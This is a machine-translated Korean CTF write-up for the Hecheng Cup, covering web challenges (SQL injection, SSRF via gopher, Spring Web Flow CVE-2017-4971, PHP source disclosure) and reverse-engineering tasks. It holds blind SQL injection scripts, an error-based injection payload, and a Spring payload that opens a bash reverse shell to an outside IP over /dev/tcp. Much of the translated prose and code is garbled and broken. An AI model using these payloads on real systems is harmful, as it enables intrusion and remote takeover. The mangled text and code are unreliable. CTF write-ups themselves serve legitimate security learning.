제목 : 첫 번째 'Hecheng Cup'CTF Cyber Security Challenge- 예비 쓰기

편물

1.middle_magic

%0A 첫 번째 레벨을 우회하고 %23을 최종에 추가하십시오 #
배열은 두 번째 레벨을 우회합니다
JSON 약한 유형 비교

2.easy_sql_2​

로그인 기능, Post Pass 사용자 이름 및 비밀번호. 관리자, 관리자 약한 비밀번호 로그인을 성공적으로 시도하지만 프롬프트 플래그는 여기에 없습니다. 사용자 이름은 -1 '||'1 '%23을 시도한 후 비밀번호 오류라는 것을 알았으므로 백엔드가 들어오는 사용자 이름을 기반으로 해당 비밀번호를 찾아야한다고 추측했습니다. 확인한 후 더 이상 사용자 이름 오류가 아니었고 MD5 이후에 들어오는 비밀번호를이 암호와 비교했으며 동일한 로그인이 성공했습니다. SQL 주입을 시도하지만 금지를 선택하므로 테이블 주입을 사용하십시오. 데이터베이스 이름은 주입하기 쉽습니다. Regexp를 사용하지 않고 테이블을 사용하지 않고 CTF임을 알리고 테이블 이름을 호출하기 시작할 수도 있습니다. 테이블이 필터링되지만 기둥은 필터링되지 않습니다. information_schema.column을 사용하여 맹목적으로 테이블 이름을 발행 할 수 있습니다.
필터링 된 정보 _schema.table mysql.innodb_table_stats
admin '/**/및/**/(('ctf ','%s ', 3,4,5,6)=/**/(테이블/**/mysql.innodb_table_stats/**/limit/**/2,1)#플래그 테이블 fl11aag에 주목하십시오
16 진수에 대한 메모 :
import stringimport requestimport timereq=requests.session () url='http://182.116.62.85:26571/login.php'def hh () : Payload='admin'/**/및/**/(ascii (hex (hex '범위 (1,100) : 범위 (48,125) : 데이터={'username':payload%(i, j), 'password':'admin'} rep=req.post (url, data) tept=rep. in 'rep. in in'rep. print (j) result +=chr (j) # print ((chr (j)), end='') # payload=payload%(chr (j-1) +'%s') print (result) breakhh () 또는 #-*-코딩 :UTF-8-*-import requestSdef bind_sql () : flag='dic='dic='~} | {zyxwvutsrqponmlkjihgfedcba` _^] \ [zyxwvutsrqponmlkjihgfedcba@?=;9876543210/-,+*) (%$#!' 플래그 + j #payload='11'|| ( 'ctf', binary '{}', 1,2,3,4) (테이블/**/mysql.innodb_table_stats/**/limit/**/1,1) #'. 형식 (_) #admin, fl11aag payload='11'|| (binary '{}') (테이블/**/ctf.fl11aag/**/limit/**/1,1)#'. 형식 (_) 인쇄 (_) 인쇄 (페이로드) data={'username': 페이로드, 'password':'admin '} res=url=url=url=data'in in in us 'rest' j=='~': 플래그=플래그 [:-1] +chr (ord (flag [-1]) +1) print (flag) exit () flag +=j print (flag) break if flag==f: break return flagif __name__=='__main __': url='http://182.116.62.85:26571/login.php'result=bind_sql () print (result)

3. easy_sql_1​

Gopher 적중 인덱스, Admin/Admin을 찾아 쿠키를 찾았습니다. 디코딩 후 관리자였습니다. 단일 따옴표에 오류가 있음을 테스트하면 주입되었습니다. admin ') 및 updatexml (1, concat (0x7e, (selectSubstr ((selectflagfromflag)), 1,40)), 1)#
exp :
Gopher: //127.0.0.1:80/_post%20/index.php%20http/1.1%0D%0HOST%3A%20127.0.0.1%0D%0D%0D 3A%20APPLEPLATION/X-WWW-FORF-URLONCOD%0D%0D%0D Kie%3a%20this_is_your_cookie%3dywrtaw4nksbhbmqgdxbkyxrleg1skdesy29uy2f0kdb4 n2uskhnlbgvjdcbzdwjzdhiokhnlbgvgvjdcbmbgfnigzyb20gzmxhzyksmswsw0mckpkswxksm%3d% 0D%0AContent-length%3A%2024%0D%0A%0D%0D%0AUNAME%3DADMIN%26PASSWD%3DADMIN%0D%0A OLD LOGIN 인터페이스, 내부가 아니라고 말하기 때문에 사용 할 수 없다고 말합니다. F12는 SSRF에 대한 SSRF를 사용하여 관리자에게 로그인을 사용합니다. Cookie:this_is_your_cookie=ywrtaw4=, 쿠키를 가져 와서 일부 시도 후에 게시물이 없다는 것을 알게되고, 쿠키를 주입하고, Admin'Base64를 암호화하고, SQL 문에 직접 오류를보고하고, SQL-LABS 라이브러리를 직접보고하고, 오류를보고하고 문제를 해결하고 문제를보고합니다. quotedata='' 'post/http/1.1host: 127.0.0.1:80content-type: 응용 프로그램/x-www-form-urlencodedcookie: this_is_your_cookie=ltenkxx8dxbkyxrleg1skdesy29uy2f0kdeskhnlbgvjdcbncm91cf9jb25jyxqozm xhzykgznjvbsbmbgfnkswxksm=; phpsessid=susn9dj4f1806v0pl5oiureek1; 컨텐츠-길이 : {} {} '' '' 'payload='uname=adminPasswd=admin'length=len (payload) data=data.format (길이, 페이로드) data=quote (data, 'utf-8') url='http://182.116.62.85336028303/use.php'params={ 'url'3360'Gopher: //127.0.0.1:80/_'+data} headers={ 'cookie':'phpsessid=8t4ppbs8ek3l5v5estgbttqtu3'} r=url, params=readers, r.te).

4. spring​

제목은 CVE-2017-4971- 스프링 웹 흐름 원격 코드 실행 취약성입니다.
Xman 원본 제목 :
로그인 페이지를 입력 한 후 주어진 계정을 작성하고 로그인하십시오.
1049983-20211222172610203-1304977782.jpg

그런 다음 http://ip/Hotels/1 페이지로 이동하여 책을 클릭하십시오.
1049983-20211222172610699-1834957056.jpg

그런 다음 정보를 자연스럽게 채우고 진행 버튼을 클릭하여 확인 페이지로 이동하십시오.
1049983-20211222172611257-788518227.jpg

확인 확인을 클릭하여 패킷을 잡고 페이로드를 입력하고 청취를 시작하십시오.
1049983-20211222172611684-148155505.jpg

_eventID_CONFIRM=_CSRF=BCC5CE94-5277-4064-B5F7-850432E3D2F0_ (new+java.lang.processbu ilder ( 'bash', '-c', 'bash+-i+%26+/dev/tcp/121.40.134.251/10086+0%261')). start ()=vulhub
1049983-20211222172612180-248938809.jpg

그런 다음 패킷을 보내 서버가 연결 될 때까지 기다립니다.
1049983-20211222172612683-1755738677.jpg

성공적으로 getshell, 루트 디렉토리에서 flag.txt 파일을 찾고 플래그를 참조하십시오.
flag:xman {ughixoedae6zeethaxoh1eex3xeij7y}

5.easypy​

? phpinclude 'utils.php'; if (isset ($ _ post [ 'posse'])) {$ guess=(string) $ _post [ 'posse']; if ($ guess===$ secret) {$ message='축하합니다! 깃발은 : '입니다. $ 깃발; } else {$ message='잘못. 다시 시도하십시오 '; }} if (preg_match ( '/utils \ .php \/*$/i', $ _server [ 'php_self'])) {exit ( 'hacker :)');} if (preg_match ( '/show_source/', $ _server [ 'request_uri'))) {exit ( 'exit :);} if (isset ($ _ get [ 'show_source'])) {height_file (basename ($ _ server [ 'php_self'])); exit ();} else {show_source (__ file__);}? 원본 제목은 수정 된 참조 연결 : https://www.gem-love.com/ctf/1898.html
직접 전화하십시오 : http://182.116.62.85:21895/index.php/utils.php/%81? show [source
또는/index.php/utils.php/%FF/?show=Source

Reverse​

1.DesignEachStep​

1049983-20211222172613234-561347357.jpg
figure1: 주로 배열을 사용하여 입력을 확인하고 직접 frida 후크를 확인합니다. functionMain () {java.perform (function () {varbytestring=java.use ( 'com.android.okhttp.okio.bytestring'); java.use ( 'java.util.arrays'). equals.overload ( '[b', '[b')=function (x, y) {console.log ( 'start .'); varresult=this.equals (x, y); console.log ( 'arg:', bytestring.of (x) .utf8 (), bytestring.of (y) .utf8 ()); returnresult;}})} setimmed (main).
1049983-20211222172613682-1601679703.jpg
figure2: 플래그 얻기 : 플래그 {de5_c0mpr355_m@y_c0nfu53}

2.AreYouRich​

최종 잔액에 따라 49999999999999999999999999999999999999999999999999999999999999 곳시고 그로 인해 recryption이 계정 비밀번호를 가져와야합니다.
1049983-20211222172614134-1987544984.jpg
figure3
1049983-20211222172614553-599983848.jpg
figure4: 로그인 및 구매 플래그
1049983-20211222172614980-222289484.jpg
flag : flag {y0u_h@v3 _@_ 107_0f_m0n3y !}

3.petition​

은 항상 xor가 있습니다.0xff입니다. S=[0x1e, 0,7,0xce,0xf9,0x8c,0x88,0xa8,0x52,0x99,0x19,0x15,0x66,0x2e, 0 Xaf,0xf6,0x43,0x2c,0xc9,0xca,0x66,0xaa,0x4c, 0,0x25,0xd6,0xff,0x44,0x Bd,0x72,0x65,8,0x85,0x12,0x7f,0x13,0x24,0xfc,0x24,0x33,0x23,0x97,0xb 2] S1=[0x78,108,0x66,0xa9,0x82,0xb5,0xbe,0xcb,0x64,0xa0,0x2f,0x21,0x50 , 3,0x97,0xc7,0x7b,0x18,0xe4,0xfe,0x55,0x9c,0x7f,0x2d,0x1d,0xb2,0x9a,0x7d,0x90,0x45,0x56,0x6e,0xb2,0x21,0x46,0x2b,0x14,0xca,0x12,0x50,0x1 2,0xea,0xb2] print (len (s)) flag=''foriinrange (len (s)) :flag+=chr (s ^s1 ) print (flag) 또는 일반적으로 깃발이 하나씩 점검되기 때문에 이런 종류의 질문을 선호하기 때문에 물론 깃발이 쾌적한 것입니다. 본문으로 돌아 가기 : IDA로드 파일
1049983-20211222172615536-614988355.jpg
프로그램이 실행되기 시작하면서 "%36s"라고 말하지만 실제로는 42 비트, 거짓말 쟁이를 입력해야합니다. 시작하기 시작하면 다양한 기능을 보면 각 기능이 비슷해 보인다는 것을 알게 된 다음 플래그가 비트별로 확인되는지 여부를 추측하고 플래그는 함수에 해당합니다. 디버깅과 다른 것들이 여전히 피곤합니다 (플래그가 어떻게 확인되는지 이해할 수 없다는 것을 말하지 않을 것입니다). 게으르기 위해서는 여기에서 직접 유니콘을 사용하고 시작 기능에서 printf와 scanf가 호출되는 장소를 패치 한 다음 스캔을 연결하여 플래그를 메모리에 입력 할 수 있도록합니다.
이를 통해 프로그램의 입력 및 검증 기능을 실행할 수 있습니다. 다음은이 프로그램에 대해 쓴 UNIDBG 클래스입니다. Unicorn import *from Unicorn.x86_Const 가져 오기 *Capstone 가져 오기 *import binasciipetition_base=0x0 # import binasciipetition_base=0x0 # feaction_stack_base=0x10000 ( 'petition', 'rb') as f: Code=[b 'x'x x, xxx () b '\ x01', b '\ x02', b '\ x03', b '\ x04', b '\ x05', b '\ x06', b '\ x07', b '\ x08', b '\ x09', b '\ x0a', b '\ x0b', b '\ x'\ x0d ', b'\ x '\ x0b b '\ x0e', b '\ x0f', b '\ x10', b '\ x11', b '\ x12', b '\ x13', b '\ x14', b '\ x15', b '\ x16', b '\ x17', b '\ x18', b '\ x19' b '\ x1b', b '\ x1c', b '\ x1d', b '\ x1e', b '\ x1f', b '\ x20', b '\ x21', b '\ x22', b '\ x23', b '\ x24', b '\ x25', b '\ x'\ x26 ', b'\ x27 b '\ x28', b '\ x29', b '\ x2a', b '\ x2b', b '\ x2c', b '\ x2d', b '\ x2e', b '\ x2f', b '\ x30', b '\ x31', b '\ x32', b '\ x'\ x34 ', b'\ x34 b '\ x35', b '\ x36', b '\ x37', b '\ x38', b '\ x39', b '\ x3a', b '\ x3b', b '\ x3c', b '\ x3d', b '\ x3e', b '\ x3f', b '\ x'\ x ', b'\ x ', b'\ x3f ' b '\ x42', b '\ x43', b '\ x44', b '\ x45', b '\ x46', b '\ x47', b '\ x48', b '\ x49', b '\ x4a', b '\ x4b', b '\ x4c', b '\ x'\ x ', b'\ x4c ', b '\ x4f', b '\ x50', b '\ x51', b '\ x52', b '\ x53', b '\ x54', b '\ x55', b '\ x56', b '\ x57', b '\ x58', b '\ x59', b '\ x', b '\ x5b' b '\ x5c', b '\ x5d', b '\ x5e', b '\ x5e', b '\ x5f', b '\ x60', b '\ x61', b '\ x62', b '\ x63', b '\ x64',
 
뒤로
상단